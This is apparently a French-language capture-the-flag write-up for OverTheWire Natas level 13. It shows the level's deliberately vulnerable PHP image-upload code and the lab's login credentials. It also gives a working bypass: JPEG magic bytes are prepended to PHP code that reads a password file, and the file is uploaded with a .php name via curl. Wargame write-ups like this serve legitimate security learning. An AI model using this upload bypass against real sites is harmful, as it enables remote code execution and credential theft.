Niveau 13

Natas 13

Level Goal

Username: natas13
Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
URL: http://natas13.natas.labs.overthewire.org

En se connectant à la page du challenge (curl http://natas13.natas.labs.overthewire.org -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY) on a un nouveau formulaire permettant l'upload d'une image :

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="81as8pox0a.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>

Avec le code source suivant :

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?> 

La seule différence avec la précédente épreuve est le fait que le serveur vérifie l'existence de données EXIF en utilisant la fonction native de PHP exif_imagetype().

À cause de cette vérification nous n'avons plus la possibilité de simplement envoyer un fichier contenant du code PHP. Il faut que le serveur détecte que le fichier soit une image lors de l'upload, tout en exécutant du code contenu à l'intérieur de celui-ci lorsqu'on accédera au fichier.

La solution ici est de créer un fichier avec le contenu suivant :

On peut faire cela directement depuis un terminal :

echo -n -e '\xff\xd8\xff\xe0' > exploit.php
echo '<?php echo file_get_contents("/etc/natas_webpass/natas14"); ?>' >> exploit.php

Puis si l'on envoie notre fichier en spécifiant un nom de fichier se terminant en .php :

curl --form uploadedfile=@exploit.php   \
     --form filename=file.php \
     http://natas13.natas.labs.overthewire.org -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

On obtient la réponse suivante :

The file upload/ehvhqbypzx.php has been uploaded

Si on ouvre le fichier on obtient le mot de passe de l'épreuve : Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1